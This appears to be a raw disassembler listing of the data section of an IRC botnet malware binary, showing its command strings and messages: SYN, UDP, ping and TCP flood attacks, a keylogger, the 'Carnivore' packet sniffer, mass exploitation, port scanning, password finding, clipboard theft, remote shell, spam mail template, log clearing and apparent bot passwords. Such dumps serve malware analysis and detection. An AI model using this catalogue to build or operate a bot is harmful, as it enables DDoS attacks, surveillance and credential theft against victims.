; char aFtp_upload[]
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE51+2A91o
align 4
; char aUtil_hcon[]
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE51+2A6Eo
align 10h
; char aUtil_httpcon[]
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE51+2A57o
align 10h
; char unk_4363E0
unk_4363E0 db 3 ; DATA XREF: sub_40EE51+2A3Bo
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 65h
db 6Dh ; m
db 61h, 69h, 6Ch
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5MessageSentTo db '5 Message sent to %s.',0
align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE51+29C7o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
; char a__0[]
a__0: ; DATA XREF: sub_40EE51+292Bo
unicode 0, <_>,0
; char aUtil_email[]
aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE51+28DCo
align 4
; char aDdos_tcpf[]
aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE51+28C5o
align 4
; char aDdos_tcpflood[]
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE51+28AEo
align 4
; char aP_0[]
aP_0 db 'p',0 ; DATA XREF: sub_40EE51+2897o
align 4
; char aDdos_pingf[]
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE51+2880o
align 4
; char aDdos_pingflood[]
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE51+2869o
align 4
; char aU_0[]
aU_0 db 'u',0 ; DATA XREF: sub_40EE51+2852o
align 4
; char aDdos_udpf[]
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE51+283Bo
align 4
; char aDdos_udpflood[]
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE51+2824o
align 4
; char aRoot_s[]
aRoot_s db 'root.s',0 ; DATA XREF: sub_40EE51+280Do
align 10h
; char aRoot_start[]
aRoot_start db 'root.start',0 ; DATA XREF: sub_40EE51+27F6o
align 4
; char aClone_ac[]
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE51+27CDo
align 4
; char aClone_action[]
aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE51+27B6o
align 4
; char aClone_pm[]
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE51+279Fo
align 4
; char aClone_privmsg[]
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE51+2788o
align 4
; char aRoot_ps[]
aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE51+2771o
; char aRoot_portscan[]
aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE51+275Ao
align 4
; char aDaemon_rd[]
aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE51+2743o
align 4
; char aDaemon_redirec[]
aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE51+272Co
; char aVSt4wN[]
aVSt4wN db 'v!st4w!n',0 ; DATA XREF: sub_40EE51+2715o
align 4
; char aVSt4w1n[]
aVSt4w1n db 'v!st4w1n',0 ; DATA XREF: sub_40EE51+26FEo
align 10h
; char aDdos_synf[]
aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE51+26E7o
align 4
; char aDdos_synflood[]
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE51+26D0o
align 4
; char aClone_start[]
aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE51+2674o
; char aClone_make[]
aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE51+265Do
align 4
; char aDdos_ic[]
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE51+2634o
; char aDdos_icmp[]
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE51+261Do
align 4
; char aCom_mv[]
aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE51+2606o
align 10h
; char aCom_rename[]
aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE51+25EFo
align 4
; char aFf[]
aFf db 'ff',0 ; DATA XREF: sub_40EE51+25D8o
align 10h
; char aFindfile[]
aFindfile db 'findfile',0 ; DATA XREF: sub_40EE51+25C1o
align 4
; char aCom_e[]
aCom_e db 'com.e',0 ; DATA XREF: sub_40EE51+25AAo
align 4
; char aCom_execute[]
aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE51+2593o
; char aUp50[]
aUp50 db 'up50',0 ; DATA XREF: sub_40EE51+2565o
; sub_40EE51+257Co
align 4
; char aIrc_de[]
aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE51+254Eo
align 10h
; char aIrc_delay[]
aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE51+2537o
align 4
; char aIrc_rp[]
aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE51+2520o
align 4
; char aIrc_repeat[]
aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE51+2509o
align 10h
; char aClone_p[]
aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE51+24F2o
; char aClone_part[]
aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE51+24DBo
align 4
; char aClone_j[]
aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE51+24C4o
; char aClone_join[]
aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE51+24ADo
align 4
; char aClone_ni[]
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE51+2496o
align 4
; char aClone_nick[]
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE51+247Fo
align 10h
; char aClone_m[]
aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE51+2468o
; char aClone_mode[]
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE51+2451o
align 4
; char aClone_ra[]
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE51+243Ao
align 10h
; char aClone_raw[]
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE51+2423o
align 4
; char aIrc_m[]
aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE51+240Co
align 4
; char aIrc_mode[]
aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE51+23F5o
align 10h
; char aIrc_cy[]
aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE51+23DEo
align 4
; char aIrc_cycle[]
aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE51+23C7o
align 4
; char aIrc_ac[]
aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE51+23B0o
align 4
; char aIrc_action[]
aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE51+2399o
align 4
; char aIrc_pm[]
aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE51+2382o
align 10h
; char aIrc_privmsg[]
aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE51+236Bo
; char aIrc_aa[]
aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE51+2354o
align 4
; char aIrc_addalias[]
aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE51+233Do
align 4
; char aIrc_gh[]
aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE51+2314o
align 4
; char aIrc_gethost[]
aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE51+22FDo
; char aCom_cap[]
aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE51+22E6o
; char aCom_capture[]
aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE51+22CFo
; char dword_43671C
dword_43671C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_4110D2o
dd 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_436748 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_4110CBo
dd 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_436778 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_411083o
dd 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_4367A4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+222Bo
dd 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
; char aUser[]
aUser db 'user',0 ; DATA XREF: sub_40EE51+219Eo
align 4
dword_4367DC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_410FE4o
dd 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_43680C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2189o
dd 2BBBB02h
aShareListCompl db ' Share list completed.',0
; char aShare[]
aShare db 'share',0 ; DATA XREF: sub_40EE51+2121o
align 4
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_40EE51+2106o
align 4
; char aPause[]
aPause db 'pause',0 ; DATA XREF: sub_40EE51+20D3o
align 4
; char aStop[]
aStop db 'stop',0 ; DATA XREF: sub_40EE51+20BBo
align 4
dword_43685C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_410F01o
dd 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_43688C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+20A6o
dd 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 10h
dword_4368C0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2022o
dd 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
; char aCom_net[]
aCom_net db 'com.net',0 ; DATA XREF: sub_40EE51+1FFEo
; char unk_436910
unk_436910 db 2 ; DATA XREF: sub_40EE51+1FBDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0
align 4
; char unk_43695C
unk_43695C db 2 ; DATA XREF: sub_40EE51+1F52o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_43698C db 2 ; DATA XREF: sub_40EE51+1ED4o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
; char unk_4369BC
unk_4369BC db 2 ; DATA XREF: sub_40EE51:loc_410D01o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_4369F8 db 2 ; DATA XREF: sub_40EE51+1EA6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
; char aCom_keylog[]
aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE51+1E4Co
align 10h
unk_436A50 db 2 ; DATA XREF: sub_40EE51:loc_410C93o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_436A88 db 2 ; DATA XREF: sub_40EE51+1E38o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
; char aOff[]
aOff db 'off',0 ; DATA XREF: sub_40EE51+1E15o
; sub_40EE51+1E83o
unk_436AD4 db 2 ; DATA XREF: sub_40EE51+1E0Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0
align 10h
; char unk_436B20
unk_436B20 db 2 ; DATA XREF: sub_40EE51+1D9Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 10h
unk_436B60 db 2 ; DATA XREF: sub_40EE51+1D37o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 10h
; char aOn[]
aOn db 'on',0 ; DATA XREF: sub_40EE51+1D17o
; sub_40EE51+1E61o
align 4
; char aSniff[]
aSniff db 'sniff',0 ; DATA XREF: sub_40EE51+1D02o
align 4
; char aCom_rf[]
aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE51+1CEBo
align 4
; char aCom_readfile[]
aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE51+1CD4o
align 4
; char aCom_cm[]
aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE51+1CBDo
align 4
; char aCom_cmd[]
aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE51+1CA6o
; char aMirc_cmd[]
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE51+1C78o
; sub_40EE51+1C8Fo
align 10h
; char aIrc_v[]
aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE51+1C61o
align 4
; char aIrc_visit[]
aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE51+1C4Ao
align 4
; char aCom_fl[]
aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE51+1C33o
align 4
; char aCom_filelist[]
aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE51+1C1Co
align 4
; char aDcc_gt[]
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE51+1C05o
align 4
; char aDcc_get[]
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE51+1BEEo
; char aCom_del[]
aCom_del db 'com.del',0 ; DATA XREF: sub_40EE51+1BD7o
; char aCom_delete[]
aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE51+1BC0o
align 10h
; char aCom_pkid[]
aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE51+1BA9o
align 4
; char aCom_prockillid[]
aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE51+1B92o
align 4
; char aCom_kpn[]
aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE51+1B7Bo
; char aCom_killprocna[]
aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE51+1B64o
align 4
; char aIrc_dn[]
aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE51+1B4Do
align 10h
; char aIrc_dns[]
aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE51+1B36o
; char aIrc_se[]
aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE51+1B1Fo
align 10h
; char aIrc_setserve[]
aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE51+1B08o
align 10h
; char aCom_o[]
aCom_o db 'com.o',0 ; DATA XREF: sub_40EE51+1AF1o
align 4
; char aCom_open[]
aCom_open db 'com.open',0 ; DATA XREF: sub_40EE51+1ADAo
align 4
; char aIrc_pr[]
aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE51+1AC3o
align 4
; char aIrc_prefix[]
aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE51+1AACo
align 4
; char aClone_rn[]
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE51+1A95o
align 4
; char aClone_rndnick[]
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE51+1A7Eo
align 4
; char aClone_q[]
aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE51+1A67o
; char aClone_quit[]
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE51+1A50o
align 4
; char aThreads_k[]
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE51+1A39o
align 4
; char aThreads_kill[]
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE51+1A22o
align 4
; char aIrc_ra[]
aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE51+1A0Bo
align 4
; char aIrc_raw[]
aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE51+19F4o
; char aBara[]
aBara db 'bara',0 ; DATA XREF: sub_40EE51+19C6o
; sub_40EE51+19DDo
align 4
; char aDsho[]
aDsho db 'dsho',0 ; DATA XREF: sub_40EE51+1998o
; sub_40EE51+19AFo
align 4
; char aIrc_n[]
aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE51+1981o
align 4
; char aIrc_nick[]
aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE51+196Ao
align 4
; char aRoot_mass[]
aRoot_mass db 'root.mass',0 ; DATA XREF: sub_40EE51+1944o
align 4
; char aRoot_massexplo[]
aRoot_massexplo db 'root.massexploit',0 ; DATA XREF: sub_40EE51+192Fo
align 4
; char aCom_fp[]
aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE51+191Ao
align 10h
; char aCom_findpass[]
aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE51+1905o
align 10h
; char aDaemon_tf_on[]
aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE51+18F0o
align 10h
; char aDaemon_tftp_on[]
aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE51+18DBo
align 10h
; char aDaemon_web_on[]
aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE51+18C6o
align 10h
; char aDaemon_httpd_o[]
aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE51+18B1o
; char aDaemon_rl_on[]
aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE51+189Co
align 10h
; char aDaemon_rlogi_0[]
aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE51+1887o
align 4
; char aRoot_cip[]
aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE51+1872o
align 10h
; char aRoot_currentip[]
aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE51+185Do
align 10h
; char aUtil_fdns[]
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE51+1848o
align 4
; char aUtil_flushdns[]
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE51+1833o
align 4
; char aUtil_farp[]
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE51+181Eo
align 4
; char aUtil_flusharp[]
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE51+1809o
align 4
; char aCom_gc[]
aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE51+17F4o
align 10h
; char aCom_getclip[]
aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE51+17DFo
dword_436E2C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+17CEo
dd 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
; char aD_S[]
aD_S db '%d. %s',0 ; DATA XREF: sub_40EE51+179Ao
; sub_416E05+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE51+178Do
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE51+176Bo
align 4
; char aIrc_who[]
aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE51+1752o
aCmd db '[CMD]',0 ; DATA XREF: sub_40EE51+1747o
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE51+1742o
align 4
; char aCom_ocmd_off[]
aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE51+1729o
align 4
; char aCom_ocmd[]
aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE51+1714o
align 4
; char aCom_opencmd[]
aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE51+16FFo
; char aCom_dll[]
aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE51+16EAo
; char aCom_testdlls[]
aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE51+16D5o
align 4
; char aCom_drv[]
aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE51+16C0o
; char aCom_driveinfo[]
aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE51+16ABo
align 4
; char aCom_up[]
aCom_up db 'com.up',0 ; DATA XREF: sub_40EE51+1696o
align 4
; char aCom_uptime[]
aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE51+1681o
align 4
; char aCom_key[]
aCom_key db 'com.key',0 ; DATA XREF: sub_40EE51+166Co
; char aCom_harvest[]
aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE51+1657o
; char aCom_ps[]
aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE51+1642o
align 4
; char aCom_procs[]
aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE51+162Do
align 10h
; char aC00lm4n[]
aC00lm4n db 'c00lm4n',0 ; DATA XREF: sub_40EE51+1603o
; sub_40EE51+1618o
; char aCom_si[]
aCom_si db 'com.si',0 ; DATA XREF: sub_40EE51+15EEo
align 10h
; char aCom_sysinfo[]
aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE51+15D9o
unk_436F4C db 2 ; DATA XREF: sub_40EE51+15CEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0
align 4
; char unk_436F98
unk_436F98 db 2 ; DATA XREF: sub_40EE51+155Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0
; char aDdos_supersyn[]
aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE51+14C9o
align 4
; char aCom_ni[]
aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE51+14B4o
align 10h
; char aCom_netinfo[]
aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE51+149Fo
; char aUtil_clg[]
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE51+148Ao
align 4
; char aUtil_clearlog[]
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE51+1475o
align 4
; char aIrc_lg[]
aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE51+1460o
align 10h
; char aIrc_log[]
aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE51+144Bo
; char aIrc_al[]
aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE51+1436o
align 10h
; char aIrc_aliases[]
aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE51+1421o
; char aThreads_l[]
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE51+140Co
align 4
; char aThreads_list[]
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE51+13F7o
align 4
dword_437058 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+13C3o
dd 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
; char dword_43708C
dword_43708C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+13BCo
dd 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
; char aCom_rebewt[]
aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE51+13A5o
align 4
; char aIrc_i[]
aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE51+1390o
align 4
; char aIrc_id[]
aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE51+137Bo
align 4
; char aIrc_s[]
aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE51+1366o
align 4
; char aIrc_status[]
aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE51+1351o
align 4
; char aIrc_q[]
aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE51+133Co
align 10h
; char aIrc_quit[]
aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE51+1327o
align 4
; char aIrc_d[]
aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE51+1312o
align 4
; char aIrc_disconnect[]
aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE51+12FDo
align 4
; char aIrc_r[]
aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE51+12E8o
align 4
; char aIrc_reconnect[]
aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE51+12D3o
align 4
; char aRoot_st[]
aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE51+12BEo
; char aRoot_stats[]
aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE51+12A9o
align 10h
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE51+129Eo
align 10h
aScan db 'Scan',0 ; DATA XREF: sub_40EE51+1299o
align 4
; char aRoot_stop[]
aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE51+1280o
align 4
dword_437164 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE51+1275o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE51+1270o
align 4
; char aLockdown_stop[]
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE51+1257o
align 4
dword_43718C dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE51+124Co
aClone db 'Clone',0 ; DATA XREF: sub_40EE51+1247o
align 4
; char aClone_off[]
aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE51+122Eo
align 10h
; char aCom_ps_off[]
aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE51+1219o
align 4
; char aCom_procs_off[]
aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE51+1204o
align 4
; char aUtil_ff_off[]
aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE51+11EFo
; char aUtil_findfile_[]
aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE51+11DAo
align 4
dword_4371EC dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE51+11CFo
; char aDaemon_tftp_of[]
aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE51+11B1o
